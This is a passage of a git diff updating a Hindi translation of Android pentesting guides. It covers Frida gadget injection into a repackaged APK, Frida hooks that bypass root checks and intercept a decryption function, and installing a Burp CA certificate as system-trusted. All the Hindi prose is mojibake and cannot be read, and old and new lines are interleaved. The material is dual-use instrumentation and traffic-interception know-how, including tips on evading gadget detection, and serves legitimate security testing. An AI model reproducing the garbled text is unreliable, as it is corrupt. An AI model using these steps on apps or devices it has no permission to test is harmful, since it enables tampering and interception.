рдХреЛ рд░рд┐рдкреИрдХ рдФрд░ рд╕рд╛рдЗрди рдХрд░реЗрдВ, рдлрд┐рд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ: +3) APK рдХреЛ рд░реАрдкреИрдХ рдФрд░ рд╕рд╛рдЗрди рдХрд░реЗрдВ, рдлрд┐рд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ: ```bash apktool d app.apk -o app_m # ... add gadget .so and config ... @@ -64,44 +64,44 @@ apktool b app_m -o app_gadget.apk uber-apk-signer -a app_gadget.apk -o out_signed adb install -r out_signed/app_gadget-aligned-debugSigned.apk ``` -4) рд╣реЛрд╕реНрдЯ рд╕реЗ gadget process рдореЗрдВ Attach рдХрд░реЗрдВ: +4) host рд╕реЗ gadget process рдХреЛ Attach рдХрд░реЗрдВ: ```bash frida-ps -Uai frida -U -n com.example.app ``` -Notes -- рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп Gadget рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ; names/paths рдХреЛ рдЫрд┐рдкрд╛ рд░рдЦреЗрдВ рдФрд░ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░ рдЙрдиреНрд╣реЗрдВ рджреЗрд░ рд╕реЗ/рд╢рд░реНрддреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд▓реЛрдб рдХрд░реЗрдВред -- рд╕рдЦреНрдд-рд╕реБрд░рдХреНрд╖рд╛ рд╡рд╛рд▓реЗ рдРрдкреНрд╕ рдкрд░, server + late attach рдХреЗ рд╕рд╛рде rooted testing рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ, рдпрд╛ Magisk/Zygisk hiding рдХреЗ рд╕рд╛рде рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░реЗрдВред +рдиреЛрдЯреНрд╕ +- Gadget рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ; рдирд╛рдо/рдкрдереЛрдВ рдХреЛ рдЧреБрдкреНрдд рд░рдЦреЗрдВ рдФрд░ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░ рдЗрдиреНрд╣реЗрдВ рджреЗрд░ рд╕реЗ/рд╢рд░реНрддреЛрдВ рдкрд░ рд▓реЛрдб рдХрд░реЗрдВред +- рд╕рдЦреНрдд рд╕реБрд░рдХреНрд╖рд╛ рд╡рд╛рд▓реЗ apps рдкрд░, rooted testing with server + late attach рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ, рдпрд╛ Magisk/Zygisk hiding рдХреЗ рд╕рд╛рде рд╕рдВрдпреЛрдЬрди рдХрд░реЗрдВред -## рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓реНрд╕ +## рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ ### [Tutorial 1](frida-tutorial-1.md) **рд╕реНрд░реЛрдд**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ -**рд╕реНрд░реЛрдд рдХреЛрдб**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) +**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдБ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ](frida-tutorial-1.md).** +**Follow the [link to read it](frida-tutorial-1.md).** ### [Tutorial 2](frida-tutorial-2.md) **рд╕реНрд░реЛрдд**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ -**APKs рдФрд░ рд╕реНрд░реЛрдд рдХреЛрдб**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдБ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ](frida-tutorial-2.md).** +**Follow the[ link to read it.](frida-tutorial-2.md)** ### [Tutorial 3](owaspuncrackable-1.md) **рд╕реНрд░реЛрдд**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдБ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ](owaspuncrackable-1.md).** +**Follow the [link to read it](owaspuncrackable-1.md).** -**рдЖрдк рдпрд╣рд╛рдВ рдФрд░ Awesome Frida scripts рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) ## рддреНрд╡рд░рд┐рдд рдЙрджрд╛рд╣рд░рдг -### рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╕реЗ Frida рдХреЙрд▓ рдХрд░рдирд╛ +### command line рд╕реЗ Frida рдХреЙрд▓ рдХрд░рдирд╛ ```bash frida-ps -U @@ -114,7 +114,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1 #frozen so that the instrumentation can occur, and the automatically #continue execution with our modified code. ``` -### рдмреЗрд╕рд┐рдХ Python рд╕реНрдХреНрд░рд┐рдкреНрдЯ +### рдмреБрдирд┐рдпрд╛рджреА Python Script ```python import frida, sys @@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### рдмрд┐рдирд╛ рдкреИрд░рд╛рдореАрдЯрд░ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХрд╛ Hooking +### Hooking functions without parameters рдХреНрд▓рд╛рд╕ `sg.vantagepoint.a.c` рдХреЗ рдлрд╝рдВрдХреНрд╢рди `a()` рдХреЛ Hook рдХрд░реЗрдВ ```javascript @@ -137,7 +137,7 @@ return false; }; }); ``` -java рдХреЗ `exit()` рдХреЛ Hook рдХрд░реЗрдВ +Hook java `exit()` ```javascript var sysexit = Java.use("java.lang.System") sysexit.exit.overload("int").implementation = function (var_0) { @@ -168,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking functions with parameters рдФрд░ рд╡реИрд▓реНрдпреВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ +### рдкреИрд░рд╛рдореАрдЯрд░реНрд╕ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЛ Hook рдХрд░рдирд╛ рдФрд░ value рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ -рдПрдХ decryption function рдХреЛ Hook рдХрд░рдирд╛ред input рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ, рдореВрд▓ function рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ, input рдХреЛ decrypt рдХрд░реЗрдВ рдФрд░ рдЕрдВрдд рдореЗрдВ, plain data рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ: +рдПрдХ decryption function рдХреЛ Hook рдХрд░рдирд╛ред input рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ, original function рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ input рдХреЛ decrypt рдХрд░реЗрдВ рдФрд░ рдЕрдВрдд рдореЗрдВ plain data рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ: ```javascript function getString(data) { var ret = "" @@ -197,7 +197,7 @@ return ret //[B ``` ### Hooking functions рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╣рдорд╛рд░реЗ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдирд╛ -Hook рдПрдХ function рдЬреЛ рдПрдХ string рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп string рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░реЗрдВ (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +рдПрдХ function рдЬреЛ рдПрдХ string рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдЙрд╕реЗ Hook рдХрд░реЗрдВ рдФрд░ рдЙрд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп string рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░реЗрдВ (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -210,11 +210,11 @@ console.log("Return value: " + ret) return ret } ``` -### рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ рдмрдирд╛рдП рдЧрдП class рдХреЗ object рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ +### рдХрд┐рд╕реА рдХреНрд▓рд╛рд╕ рдХреЗ рдкрд╣рд▓реЗ рд╕реЗ рдмрдирд╛рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ -рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдмрдирд╛рдП рдЧрдП object рдХрд╛ рдХреЛрдИ attribute рдирд┐рдХрд╛рд▓рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдк рдмрдирд╛рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдХреЛрдИ attribute рдирд┐рдХрд╛рд▓рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ class my_activity рдХрд╛ object рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рдХреИрд╕реЗ .secret() function рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ рдЬреЛ object рдХрд╛ рдПрдХ private attribute print рдХрд░реЗрдЧрд╛: +рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдХреНрд▓рд╛рд╕ my_activity рдХрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреИрд╕реЗ .secret() рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдПрдХ private attribute рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity", { onMatch: function (instance) { diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 31b72189a..0cc73a94a 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -1,11 +1,11 @@ -# Burp рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ +# Burp рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ {{#include ../../banners/hacktricks-training.md}} -## ADB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рдкреНрд░реЙрдХреНрд╕реА +## ADB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд┐рд╕реНрдЯрдо-рд╡рд╛рдЗрдб proxy -рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ HTTP рдкреНрд░реЙрдХреНрд╕реА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рднреА рдРрдкреНрд╕ рдХрд╛ рдЯреНрд░реИрдлрд╝рд┐рдХ рдЖрдкрдХреЗ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯрд░ (Burp/mitmproxy) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рдП: +рдПрдХ рдЧреНрд▓реЛрдмрд▓ HTTP proxy рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рднреА рдРрдкреНрд╕ рдХрд╛ рдЯреНрд░реИрдлрд╝рд┐рдХ рдЖрдкрдХреЗ interceptor (Burp/mitmproxy) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реЛрдХрд░ рдЧреБрдЬрд╝рд░реЗрдВ: ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -13,20 +13,19 @@ adb shell settings put global http_proxy 192.168.1.2:8080 # Clear proxy adb shell settings put global http_proxy :0 ``` -рдЯрд┐рдк: Burp рдореЗрдВ рдЕрдкрдирд╛ listener 0.0.0.0 рд╕реЗ bind рдХрд░реЗрдВ рддрд╛рдХрд┐ LAN рдкрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХреЗрдВ (Proxy -> Options -> Proxy Listeners). +Tip: Burp рдореЗрдВ рдЕрдкрдиреЗ listener рдХреЛ 0.0.0.0 рдкрд░ рдмрд╛рдЗрдВрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ LAN рдкрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХреЗрдВ (Proxy -> Options -> Proxy Listeners). -## рдПрдХ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдкрд░ +## рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдкрд░ -рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ Burp рд╕реЗ Der certificate рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЖрдк рдпрд╣ _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ рдореЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ Burp рд╕реЗ Der certificate рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЖрдк рдпрд╣ _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ рдореЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ![](<../../images/image (367).png>) -**Der рдлреЙрд░реНрдореЗрдЯ рдореЗрдВ certificate export рдХрд░реЗрдВ** рдФрд░ рдЪрд▓рд┐рдП рдЗрд╕реЗ рдЙрд╕ рдлреЙрд░реНрдо рдореЗрдВ рдмрджрд▓рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ **Android** рд╕рдордЭ рд╕рдХреЗред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **AVD рдореЗрдВ Android рдорд╢реАрди рдкрд░ burp certificate configure рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдЖрдкрдХреЛ рдпрд╣ рдорд╢реАрди **`-writable-system`** рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде **run** рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред\ -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: +**Export the certificate in Der format** рдФрд░ рдЖрдЗрдП рдЗрд╕реЗ рдПрдХ рдРрд╕реЗ рдлреЙрд░реНрдо рдореЗрдВ рдмрджрд▓рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ **Android** рд╕рдордЭ рд╕рдХреЗред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **burp certificate рдХреЛ Android рдорд╢реАрди рдореЗрдВ AVD рдореЗрдВ configure рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдЖрдкрдХреЛ рдЗрд╕ рдорд╢реАрди рдХреЛ **run** **with** **`-writable-system`** рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛.\ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -рдлрд┐рд░, **burps certificate рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**: +рдлрд┐рд░, **burps certificate рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ**: ```bash openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0" @@ -37,43 +36,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -рдЬрдм **рдорд╢реАрди рдХрд╛ рдкреБрдирд░рд╛рд░рдВрдн рдкреВрд░рд╛ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж** рддреЛ Burp рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд▓рдЧреЗрдЧрд╛! +рдЬрдм рдорд╢реАрди **rebooting рдкреВрд░рд╛ рдХрд░ рд▓реЗрдЧреА** рддреЛ Burp certificate рдЙрд╕ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛ рдЬрд╛рдПрдЧрд╛! ## Magisc рдХрд╛ рдЙрдкрдпреЛрдЧ -рдпрджрд┐ рдЖрдкрдиреЗ рдЕрдкрдирд╛ рдбрд┐рд╡рд╛рдЗрд╕ **Magisc рдХреЗ рд╕рд╛рде rooted** рдХрд┐рдпрд╛ рд╣реИ (рд╢рд╛рдпрдж рдПрдХ emulator), рдФрд░ рдЖрдк рдкрд┐рдЫрд▓реЗ **steps** рдХрд╛ рдкрд╛рд▓рди рдХрд░рдХреЗ Burp cert рдЗрдВрд╕реНрдЯреЙрд▓ рдирд╣реАрдВ рдХрд░ рдкрд╛ рд░рд╣реЗ рдХреНрдпреЛрдВрдХрд┐ **filesystem is read-only** рд╣реИ рдФрд░ рдЖрдк рдЙрд╕реЗ writable рдХреЗ рд▓рд┐рдП remount рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ, рддреЛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИред +рдпрджрд┐ рдЖрдкрдиреЗ **Magisc рд╕реЗ рдЕрдкрдирд╛ рдбрд┐рд╡рд╛рдЗрд╕ rooted** рдХрд┐рдпрд╛ рд╣реИ (рд╢рд╛рдпрдж рдПрдХ emulator), рдФрд░ рдЖрдк рдкрд┐рдЫрд▓реЗ **steps** рдХреЛ Burp cert рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **follow рдирд╣реАрдВ рдХрд░ рдкрд╛рдП** рдХреНрдпреЛрдВрдХрд┐ **filesystem is read-only** рд╣реИ рдФрд░ рдЖрдк рдЙрд╕реЗ writable рдХреЗ рд░реВрдк рдореЗрдВ remount рдирд╣реАрдВ рдХрд░ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИред -рдЬреИрд╕рд╛ рдХрд┐ [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЖрдкрдХреЛ рдпрд╣ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: +Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to: -1. **Install a CA certificate**: рдмрд╕ рдореЛрдмрд╛рдЗрд▓ рдореЗрдВ DER Burp certificate рдХреЛ **drag&drop** рдХрд░реЗрдВ рдФрд░ рдЗрд╕рдХреА extension `.crt` рдореЗрдВ рдмрджрд▓реЗрдВ рддрд╛рдХрд┐ рдпрд╣ Downloads рдлреЛрд▓реНрдбрд░ рдореЗрдВ рд╕реЗрд╡ рд╣реЛ рдЬрд╛рдП рдФрд░ рдлрд┐рд░ `Install a certificate` -> `CA certificate` рдкрд░ рдЬрд╛рдПрдБ +1. **Install a CA certificate**: рдмрд╕ **drag&drop** рдХрд░рдХреЗ DER Burp certificate рдХреА extension рдХреЛ `.crt` рдореЗрдВ рдмрджрд▓ рдХрд░ рдореЛрдмрд╛рдЗрд▓ рдХреЗ Downloads рдлреЛрд▓реНрдбрд░ рдореЗрдВ рд░рдЦреЗрдВ рдФрд░ `Install a certificate` -> `CA certificate` рдкрд░ рдЬрд╛рдПрдБ
-- рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ рдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕рдВрдЧреНрд░рд╣рд┐рдд рд╣реБрдЖ рд╣реИ: `Trusted credentials` -> `USER` рдкрд░ рдЬрд╛рдПрдБ +- рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ certificate рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕реНрдЯреЛрд░ рд╣реБрдЖ рд╣реИ: `Trusted credentials` -> `USER` рдкрд░ рдЬрд╛рдХрд░
-2. **Make it System trusted**: Magisc рдореЙрдбреНрдпреВрд▓ [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip рдлрд╝рд╛рдЗрд▓) рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ, рдЙрд╕реЗ рдлреЛрди рдореЗрдВ **drag&drop** рдХрд░реЗрдВ, рдлреЛрди рдореЗрдВ **Magics app** рдЦреЛрд▓реЗрдВ рдФрд░ **`Modules`** рд╕реЗрдХреНрд╢рди рдореЗрдВ рдЬрд╛рдПрдБ, **`Install from storage`** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, `.zip` рдореЙрдбреНрдпреВрд▓ рдЪреБрдиреЗрдВ рдФрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдлреЛрди рдХреЛ **reboot** рдХрд░реЗрдВ: +2. **Make it System trusted**: Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip file) рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ, рдЙрд╕реЗ рдлреЛрди рдореЗрдВ **drag&drop** рдХрд░реЗрдВ, рдлреЛрди рдореЗрдВ **Magics app** рдЦреЛрд▓рдХрд░ **`Modules`** рд╕реЗрдХреНрд╢рди рдкрд░ рдЬрд╛рдПрдБ, **`Install from storage`** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, `.zip` module рдЪреБрдиреЗрдВ рдФрд░ install рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдлреЛрди **reboot** рдХрд░реЗрдВ:
-- рд░реАрдмреВрдЯ рдХреЗ рдмрд╛рдж, `Trusted credentials` -> `SYSTEM` рдкрд░ рдЬрд╛рдПрдБ рдФрд░ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ Postswigger cert рд╡рд╣рд╛рдБ рд╣реИ +- рд░рд┐рдмреВрдЯ рдХреЗ рдмрд╛рдж `Trusted credentials` -> `SYSTEM` рдкрд░ рдЬрд╛рдХрд░ рджреЗрдЦреЗрдВ рдХрд┐ Postswigger cert рд╡рд╣рд╛рдБ рдореМрдЬреВрдж рд╣реИ
-### Magisc рдореЙрдбреНрдпреВрд▓ рдХреИрд╕реЗ рдмрдирд╛рдирд╛ рд╕реАрдЦреЗрдВ +### Magisc module рдмрдирд╛рдирд╛ рд╕реАрдЦреЗрдВ -Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) +рджреЗрдЦреЗрдВ [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) ## Android 14 рдХреЗ рдмрд╛рдж -рд╣рд╛рд▓ рдХреЗ Android 14 рд░рд┐рд▓реАрдЬрд╝ рдореЗрдВ system-trusted Certificate Authority (CA) рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдореЗрдВ рдПрдХ рдмрдбрд╝рд╛ рдмрджрд▓рд╛рд╡ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реИред рдкрд╣рд▓реЗ рдпреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ **`/system/etc/security/cacerts/`** рдореЗрдВ рд░рдЦреЗ рдЬрд╛рддреЗ рдереЗ, рдЬрд┐рдиреНрд╣реЗрдВ root privileges рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХреНрд╕реЗрд╕ рдФрд░ рдореЙрдбрд┐рдлрд╛рдИ рдХрд░ рд╕рдХрддреЗ рдереЗ, рдЬрд┐рд╕рд╕реЗ рдпреЗ рддреБрд░рдВрдд рдкреВрд░реЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкреНрд░рднрд╛рд╡реА рд╣реЛрддреЗ рдереЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, Android 14 рдореЗрдВ рдЗрдирдХрд╛ рд╕реНрдЯреЛрд░реЗрдЬ рд╕реНрдерд╛рди **`/apex/com.android.conscrypt/cacerts`** рдкрд░ рд╢рд┐рдлреНрдЯ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ **`/apex`** рдкрд╛рде рдХреЗ рднреАрддрд░ рдХрд╛ рдПрдХ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдФрд░ рдкреНрд░рдХреГрддрд┐рдЧрдд рд░реВрдк рд╕реЗ immutable рд╣реИред +Android 14 рдХреА рд╣рд╛рд▓рд┐рдпрд╛ рд░рд┐рд▓реАрдЬрд╝ рдореЗрдВ system-trusted Certificate Authority (CA) certificates рдХреЗ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрджрд▓рд╛рд╡ рдЖрдпрд╛ рд╣реИред рдкрд╣рд▓реЗ рдпреЗ certificates **`/system/etc/security/cacerts/`** рдореЗрдВ рд░рдЦреЗ рдЬрд╛рддреЗ рдереЗ, рдЬрд┐рдиреНрд╣реЗрдВ root privileges рд╡рд╛рд▓реЗ рдпреВрдЬрд╝рд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдФрд░ рдореЙрдбрд┐рдлрд╛рдИ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ рдФрд░ рдпреЗ рдмрджрд▓рд╛рд╡ рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рддреБрд░рдВрдд 